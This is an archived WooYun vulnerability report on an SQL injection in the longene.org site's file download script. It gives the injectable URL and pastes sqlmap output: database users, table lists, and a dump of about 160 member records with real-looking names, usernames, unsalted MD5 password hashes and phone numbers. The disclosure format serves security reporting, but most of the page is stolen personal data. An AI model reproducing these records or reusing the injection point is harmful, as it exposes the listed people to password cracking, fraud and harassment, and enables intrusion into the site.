当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142624

漏洞标题:国内某知名老linux内核交流社区3W多会员信息泄漏

相关厂商:linux内核交流论坛

漏洞作者: 别在说

提交时间:2015-09-22 11:05

修复时间:2015-11-06 11:06

公开时间:2015-11-06 11:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-11-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

听说Kali2.0出来了,这两天下了一个玩了一下。。。

详细说明:

听说Kali2.0出来了,这两天下了一个玩了一下。。。,准备装个linuxqq玩玩,很多论坛博客都推荐什么龙井qq,本吊不太懂,正好那个时候在测试各种kali2上的web漏洞扫描工具,就那龙井的官网测试了一下,发现一处sql注入,然后sqlmap。。。

注入点: 
http://www.longene.org/fileDownload.php?id=71
MYSQL 用户列表:
database management system users [7]:
[*] ''@'localhost'
[*] ''@'ubuntu'
[*] 'debian-sys-maint'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'root'@'ubuntu'
MYSQL 数据库列表:
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] uk_longene
[*] ukernel_cn
uk_longene的tables:
Database: uk_longene
[9 tables]
+-----------------+
| uk_applist |
| uk_downloadfile |
| uk_news |
| uk_project_task |
| uk_snapshot |
| uk_users |
| uk_users_audit |
| uk_version |
| uk_whitepapers |
+-----------------+
uk_users用户表:
Database: uk_longene
Table: uk_users
[10 columns]
+------------+----------------------+
| Column | Type |
+------------+----------------------+
| devskill | text |
| email | varchar(128) |
| forumid | varchar(255) |
| id | int(10) unsigned |
| password | varchar(50) |
| regdate | datetime |
| resumepath | varchar(255) |
| roleid | smallint(5) unsigned |
| telephone | varchar(45) |
| username | varchar(30) |
+------------+----------------------+
用户信息:
Database: uk_longene
Table: uk_users
[163 entries]
+-----+-----------------------------+-----------------+----------------------------------+----------------+
| id | email | username | password | telephone |
+-----+-----------------------------+-----------------+----------------------------------+----------------+
| 1 | [email protected] | nazodane | 9fb5b5d9263fb280c0a13f3f5cde30e5 | <blank> |
| 5 | [email protected] | 黄开国 | d3877117cb6ea400bf2a8f1df2f10cb1 | 15928006300 |
| 7 | [email protected] | 贾明 | adc88515b7c2db3ccf7667e380ee8a73 | <blank> |
| 8 | [email protected] | 彭洲 | b97dbc5bd60073d93714d98c566e0e27 | 13834692447 |
| 9 | [email protected] | 吴进珍 | 552d70e7d3f0a54c5c99807f51329dc6 | 15895555223 |
| 10 | [email protected] | 杨拥波 | e59f534fd94ca89a0685b46e13dcc533 | 15986670270 |
| 11 | [email protected] | wangwei | 37f4e4a284e4bf5d5e207c36d41b36f1 | <blank> |
| 12 | [email protected] | 刘鸿琮 | c74cc04559122fc77705c832dc3b65a8 | <blank> |
| 15 | [email protected] | ukadmin | 40b03ccf3c2da88cc503272d1de3441c | <blank> |
| 16 | [email protected] | 费海林 | 29af6bcd638e38c45db84c3b00c23236 | 88270413 |
| 17 | [email protected] | 沈超 | 2cf26fff1bed87fab27130cd414dc559 | 15116382526 |
| 19 | [email protected] | 郑霄 | e10adc3949ba59abbe56e057f20f883e | 86518728 |
| 20 | [email protected] | byebye | e10adc3949ba59abbe56e057f20f883e | <blank> |
| 21 | [email protected] | ÖÂĐéĘŘž˛ | 151c509058d5ae1d2c03ad5df1f567ed | <blank> |
| 22 | [email protected] | shark | 86e28262f4acf78be9b385a0424bfaa3 | <blank> |
| 23 | [email protected] | 程琳 | a2c8fcd2157adc535941425ab7d4159e | 13911037273 |
| 24 | [email protected] | 王旭 | 5ba51d5f1b8ccd32280c9065b70cf0cb | 15811123281 |
| 25 | [email protected] | 贾利坡 | 72de5b15b355d9590a52cba5bf83959b | <blank> |
| 26 | [email protected] | 周峰 | 96e79218965eb72c92a549dd5a330112 | 13989485815 |
| 27 | [email protected] | 蔡万钊 | 2f72d4bbbdedfdfd4764a9b2803169a3 | 13429664974 |
| 28 | [email protected] | 朱铭杰 | 314adc816df6572f7ecf5312c83362f5 | 13889851546 |
| 29 | [email protected] | 王璐 | c6cd84b79ef783a386fe5ee243d46603 | <blank> |
| 30 | [email protected] | 林雅 | ce1b213a5bfa278fd1789bdbffe0a099 | 13559210559 |
| 31 | [email protected] | xiongpanda | 8046c7aa0602d3ec44b79cdba420a260 | <blank> |
| 32 | [email protected] | Eagle | 9ccba36ef0f72b7701def7fd5aba8c11 | <blank> |
| 33 | [email protected] | 徐信 | 6c0553a41b0f4459d7f540958f3a6c38 | 13666655387 |
| 34 | [email protected] | 贺铭 | e10adc3949ba59abbe56e057f20f883e | 13821301901 |
| 35 | [email protected] | Xianfeng Zeng | 075f1c0e874bc4fe2d64aed9df67cde6 | <blank> |
| 36 | [email protected] | 贾在波 | 3a4bc049a8fb2f94b8df6cd4993f1b1c | <blank> |
| 37 | [email protected] | 马瑞 | 7e24ceb5eac7e0712087ba5d05ba8183 | <blank> |
| 38 | [email protected] | 段广有 | e2c2e2ccfaad21114922099411602c3b | 15822457022 |
| 39 | [email protected] | DingWL\t | be24d7bc475ce8a6ce4654f8e07121f2 | <blank> |
| 40 | [email protected] | 谢树琛 | a61379aa8432d5d765e64e370294e18d | 13103266124 |
| 41 | [email protected] | Simon Jia | 76f7dfd5fff569ec20e97a7fc573295c | 15066759875 |
| 42 | [email protected] | zhengpeng | 9675bdaff6919bc78ac5481e0b45c33a | 13834225181 |
| 43 | [email protected] | kerson | 657504412435ba8904f34e3cfa169a72 | 15898575815 |
| 44 | [email protected] | 常雪峰 | 5c7aec098942cce6f34ca5cf92635afb | 13478307445 |
| 45 | [email protected] | 路少波 | dbeb064d1598f15bece94eee21638dbd | 3616566 |
| 46 | [email protected] | Liunx | c0e40fcdd20171b739724385953d9de9 | <blank> |
| 47 | [email protected] | Michealkakaking | 7e97ae554e93711976c98f6d09c172da | <blank> |
| 48 | [email protected] | 黄斌 | 4e78ea53275202d780a46068aed9f52c | <blank> |
| 49 | [email protected] | Mohamed Fahim | e10adc3949ba59abbe56e057f20f883e | 85196413499 |
| 50 | [email protected] | 尚璇 | d178a98efbef1bb25f80132539d8b1b4 | <blank> |
| 51 | [email protected] | tianfeigo | 9c01af849c724c277e699b6de57289d7 | <blank> |
| 52 | [email protected] | 郑继堂 | ecf1725f10e53e104ef9460bd09a194c | <blank> |
| 53 | [email protected] | yufei | 53c91501cf43e913e8345437bb258474 | <blank> |
| 54 | [email protected] | cyberbill | e10adc3949ba59abbe56e057f20f883e | <blank> |
| 55 | [email protected] | 李健 | e9ea7c202a9f2c8b4311da6ee04e5c96 | 02787375534 |
| 57 | [email protected] | 魏志诚 | 44084b441dceff1abbdeae85c34d354c | +8615097617996 |
| 58 | [email protected] | 吴晓明 | 554502ca223cfd468418e76c99883084 | 13735818401 |
| 59 | [email protected] | zhzhtst | c42881da69fab97f7842cd182f60bd8e | <blank> |
| 60 | [email protected] | 冯玉贞 | e5a2d083fc5d5ac0d7996cf0419929d2 | <blank> |
| 61 | [email protected] | 涂坤 | a712fcd1e8c859cc9518833a9e7459a1 | 15905153921 |
| 62 | [email protected] | qijie9999 | 0b53600cb3c963507b4da888211e0dca | 15850538689 |
| 63 | [email protected] | 罗红文 | 168c6d02e5c84a5b54a2ab885047e4b9 | <blank> |
| 64 | [email protected] | lijiwen | ae3fb317d57b9c599e8fa06589aebd3f | <blank> |
| 65 | [email protected] | 刘春远 | dc483e80a7a0bd9ef71d8cf973673924 | 13425122559 |
| 66 | [email protected] | pandaisme | 749ff0572c5749edcd100353f623ec8a | 13524484764 |
| 67 | [email protected] | 于明东 | 4a401852cc7ec5d5fc29c7688fc2ee5f | 15326427001 |
| 68 | [email protected] | 张明波 | 34f85ca80ec353d3052b8a2d3973a0c5 | 15001397684 |
| 69 | [email protected] | leonmok | 5d45e145b4812fe55b4d21d31161f16f | <blank> |
| 70 | [email protected] | 李永刚 | 006f87892f47ef9aa60fa5ed01a440fb | <blank> |
| 71 | [email protected] | 黄超然 | ab0a4595b2934636aa1bd957168eae66 | <blank> |
| 72 | [email protected] | 丁剑 | 4e80320860ca425c4f343d907e87a3d8 | 13521590576 |
| 73 | [email protected] | 贡杰明 | 54ed5bb995a812ef381ab51ca51a03a2 | <blank> |
| 74 | [email protected] | 廖吉亮 | 38905f2c627701b3e70de8ef507865fb | 13006777720 |
| 75 | [email protected] | 张军 | 6bd512cf66c8489082855a16ddce2712 | <blank> |
| 76 | [email protected] | 谢通 | ba7b5c00903d621fc034f5ccf31d0ec9 | <blank> |
| 77 | [email protected] | xiaozhu0404 | 910a504689b5006e91b2d8b2162dd4b8 | <blank> |
| 78 | [email protected] | 程允权 | e481c1fec5f11606d98f6c86941623e0 | <blank> |
| 79 | [email protected] | sniper | f68821f17e21ae3bf46355946c85265f | <blank> |
| 80 | [email protected] | 郭斌 | 9852ab43519b8f5633b225e7671d68ad | 15901119341 |
| 81 | [email protected] | reachton | d560d55ea964d16298152121a91cd1d4 | <blank> |
| 82 | [email protected] | 姜朝阳 | 115706b4bd674e9a43c235b85a79b911 | 02482880361 |
| 83 | [email protected] | forrestfeng | 60a44cca156996a191c213ce53286f17 | <blank> |
| 84 | [email protected] | 胡果支 | 97c0f7ee2fadd7ac7871bf931e7eeea8 | 13507318411 |
| 85 | [email protected] | 王非 | 046f5a1bb567485636c8acc732740fda | <blank> |
| 86 | [email protected] | 高博 | c036b4aea99ffce2588d615a685b0e4e | <blank> |
| 87 | [email protected] | wanyinpin | e08d266ea93283b6e875b3d177a5b0d3 | <blank> |
| 88 | [email protected] | 龚伟 | 96e79218965eb72c92a549dd5a330112 | have no phone |
| 89 | [email protected] | twiccancy | ca6a6e2eb8e6d41cb9bfb40e849c0730 | 123456 |
| 90 | [email protected] | yhmbest | 124bd1296bec0d9d93c7b52a71ad8d5b | 075586201249 |
| 91 | [email protected] | 张田 | 188e1fb442d740d7dc8cc6280378c5cd | <blank> |
| 92 | [email protected] | 黄华华 | 3631d7be4fc754119a299d32c6565c09 | 0760-88435609 |
| 93 | [email protected] | 俞焕焕 | bf9f8d1f05dc08cc3b02e8fcf2c2ba57 | <blank> |
| 94 | [email protected] | miracle | 11ed1ece8e52295ef4dd1604935adeea | <blank> |
| 95 | [email protected] | 红果 | 860c85c91ca99778da806cd5a3b094c7 | <blank> |
| 96 | [email protected] | 李志强 | 8d7dbf0658a8833235097cb787a27f8d | 13757101075 |
| 97 | [email protected] | 刘志鹏 | 7cf5bc49b333fe77af16b0aeeb351eaa | <blank> |
| 98 | [email protected] | 李洪先 | a1fb63b09071cad71448482024d2b211 | 15123328516 |
| 99 | [email protected] | 李钰 | 17869a42de03dfdc4ba017428ef542c3 | 15926376735 |
| 104 | [email protected] | 刘华洲 | 8fe2b6d322d13af49ac972ee013f4a49 | 13918569362 |
| 105 | [email protected] | 张彬 | 35dc946cb5cf3bcf7e6e227b72c16afe | 13968126960 |
| 108 | [email protected] | 孟浩 | 76f9634571922431e97c95a3ebf317cf | <blank> |
| 109 | [email protected] | 郝艳广 | 47056be8bcf90e65c3e8463a682ba926 | <blank> |
| 110 | [email protected] | zhenshuiwuxiang | aeefffe1b17d14ed1a87150693848b24 | <blank> |
| 111 | [email protected] | 廖建秋 | 7e24ceb5eac7e0712087ba5d05ba8183 | 13795454728 |
| 112 | [email protected] | 刘童璇 | a45fdb1e4ac646c9e65a1769663e5704 | 13466329233 |
| 113 | [email protected] | 杜占源 | f98148658341586e1d86489f31e62f2d | 13893160862 |
| 114 | [email protected] | 李鹏 | 753a9b0bd8221616150e5ab04dffdee2 | <blank> |
| 116 | [email protected] | 吴明 | 554502ca223cfd468418e76c99883084 | 13735818401 |
| 117 | [email protected] | Free ST | 2d93ce7e79eb9fb9c56f7364f5055bd0 | <blank> |
| 118 | [email protected] | 张俊标 | b469fb46ed3d0c52ab99fde5b52249da | <blank> |
| 120 | [email protected] | 王利军 | 124d9589ef3413ac531aa3da93b3a49b | <blank> |
| 121 | [email protected] | liyunkebeyond | 87074363ae143428d00df7e15864df73 | <blank> |
| 122 | [email protected] | 刘君涛 | 363edcbeea37713d7850ee16beebab78 | 13817635642 |
| 123 | [email protected] | ŇŚÍĽÁş | 9f428c464464695ae72e1cd9988fde88 | 13501283686 |
| 125 | [email protected] | 王新喜 | 53e4a30a1cdd8d5b8e44c56bef25ba2c | <blank> |
| 126 | [email protected] | 王贺忠 | 1b1d45da22284389b1aeb6a8f544b6a4 | 15127526315 |
| 127 | [email protected] | 钟佩 | ed61e1ea4c3327e223b52f28315906f0 | <blank> |
| 128 | [email protected] | lxc | 63c12b5fae88193ecc20099fdabb20e7 | <blank> |
| 129 | [email protected] | 李超 | 6c93367a1ee3f170820ed827fc0c3e74 | 13501029431 |
| 130 | [email protected] | 李柏章 | 39feb54e4d08380f761b14ae4fd122d4 | 13927497420 |
| 131 | [email protected] | 周明哲 | a3474efbf03d57d26bb0781ffe1c95dc | <blank> |
| 132 | [email protected] | jruinet | 6f7a8882de585071329a07442c513fab | <blank> |
| 133 | [email protected] | 杨 其 | 4edd885850a682680d97274e03143a4b | 134-8610-8132 |
| 134 | [email protected] | zhangkuan | 25b49e2a33bb51d9ef3459c9122fad08 | <blank> |
| 135 | [email protected] | 孙中胜 | 0d9f0105ffce46d9f0b26e4cf4531f13 | <blank> |
| 136 | [email protected] | 顾学乔 | b9f0ab869d916c8ad5c14dffb282eae6 | 13770841691 |
| 137 | [email protected] | 李广文 | 1d11e85002d0f0431e54a2d8e691df18 | <blank> |
| 138 | [email protected] | 王景初 | b2fe2cc3596800d90b68da129adb9b96 | 15933922513 |
| 139 | [email protected] | 赵帅 | 2ca71080dfc5b1398b558a61f974804a | <blank> |
| 140 | [email protected] | wyg1258 | 8a4016980fcb0cbae9d1e32551c760c5 | <blank> |
| 141 | [email protected] | 陈煜文 | 151fb60940e539b8a60e4c1bf2b7a2e7 | <blank> |
| 142 | [email protected] | 李沁 | 1e23a0ed5e338ba521d7418f32f40e7f | 13810560895 |
| 143 | [email protected] | 黄栋 | a193353f1610d5e95320618c54ffad0e | 13826044232 |
| 144 | [email protected] | caicheng | 41328aa0505c37af1b0bf4249558a62e | 13764565362 |
| 145 | [email protected] | hejin_some | f6c2f86741a98be25545207d9c772f37 | <blank> |
| 146 | [email protected] | sasaqqdan | 5c66b6f0a84cbc7a55e94b943985ddae | <blank> |
| 147 | [email protected] | meng xk | cae1d78de4da55562238a301e74925f1 | <blank> |
| 148 | [email protected] | peacekeep | f7ac7de22a58761c294fe6f476867174 | <blank> |
| 149 | [email protected] | 肖敛涛 | 5d93ceb70e2bf5daa84ec3d0cd2c731a | <blank> |
| 150 | [email protected] | 刘洪亮 | a55b2ffe418fe3cd4a5225f7c42ccbec | 13260224623 |
| 151 | [email protected] | Nurmuhammad | e59008a9ffb5b01b6ecd578222f06ffc | 13824362053 |
| 152 | [email protected] | 王志波 | 8aac600f18d9bdb80126c6724e728b14 | <blank> |
| 153 | [email protected] | 王佳兴 | 238926169bbb6a4bca021086376fa7ef | 041181633455 |
| 154 | [email protected] | 段永明 | eb42dbef640a06c70618595d55741c9c | <blank> |
| 155 | [email protected] | 周健 | 0ff964bb870a9a4a884e9b283aae8dee | 15267848617 |
| 156 | [email protected] | 孟超 | 857d054636679ba1b2886c2de25206ba | <blank> |
| 157 | [email protected] | 方沂伟 | 1bbd886460827015e5d605ed44252251 | 15067136259 |
| 158 | [email protected] | ÁőÓ˘˝Ü | 9fb37d28533ebb8ea34a0dea44026347 | <blank> |
| 159 | [email protected] | 程昌正 | d7af994f1f1ef8b5e3beb9f7fb139f57 | 13580447219 |
| 160 | [email protected] | 李志猛 | 17f0c71442bfe99da58fa26cddebd1c2 | <blank> |
| 161 | [email protected] | 薛克宋 | 480673d4c213743b9e68aeec4c272bfd | 13655717537 |
| 162 | [email protected] | ray juwen | 00f906e67afbd612834ababadfae546a | <blank> |
| 163 | [email protected] | 朱庆华 | e2e2ebd9ec0581035554f3c71046ffc1 | 18968043626 |
| 164 | [email protected] | 陈岗 | d55119a4c7f8e022a1c640bc2d0fda89 | <blank> |
| 165 | [email protected] | 蒋冬冬 | 036649760b6242a598df33ef23c772d4 | 15874291306 |
| 166 | [email protected] | 柯伟青 | 46b0559791ebf11dd23a543204343d41 | 13857166192 |
| 167 | [email protected] | yanchangzhao | e10adc3949ba59abbe56e057f20f883e | <blank> |
| 168 | [email protected] | 颜雷鸣 | bcfd30687b50415bb43e9d15f64ae84b | 13216810298 |
| 169 | [email protected] | 刘豹 | 6ed32035687dc8272472b5400a131ed9 | 15869024314 |
| 170 | [email protected] | 陈江 | 011311475a4c6e6aba81e28b3b593310 | 13858015593 |
| 171 | [email protected] | tq0e08e | 42e4e3b553a5410f4da3fb479d96802c | 15022392276 |
| 172 | [email protected] | 翁林君 | 88aced4aba4bf9640723e98af1293ca9 | 15924164623 |
| 173 | [email protected] | 王书州 | 61dfffdf05c033dc67110ade42acf7e2 | <blank> |
| 174 | [email protected] | 罗来小 | d9286a293bf5da8aaafb4a3e22cc889f | 13249872746 |
| 175 | [email protected] | 潘仙张 | e10adc3949ba59abbe56e057f20f883e | 15990179803 |
| 176 | [email protected] | 王小品 | 57ba172a6be125cca2f449826f9980ca | 13520566981 |
| 177 | [email protected] | 余化鹏 | a4af133d8f8d18ca53876f08d7a1dffc | 013608073450 |
| 178 | [email protected] | sergey6661313 | e41cf65bb27076e8bc4b22f4e9ce730b | sergey6661313 |
| 179 | [email protected] | woshijilinux | 06a8647723d4d285aefdb02ed285220b | <blank> |
| 180 | [email protected] | 邱海龙 | 4cf811be9018a43ffe7ce57206a46e29 | 13452189654 |
+-----+-----------------------------+-----------------+----------------------------------+----------------+


漏洞证明:

QQ截图20150921193359.png

修复方案:

你们更专业!

版权声明:转载请注明来源 别在说@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝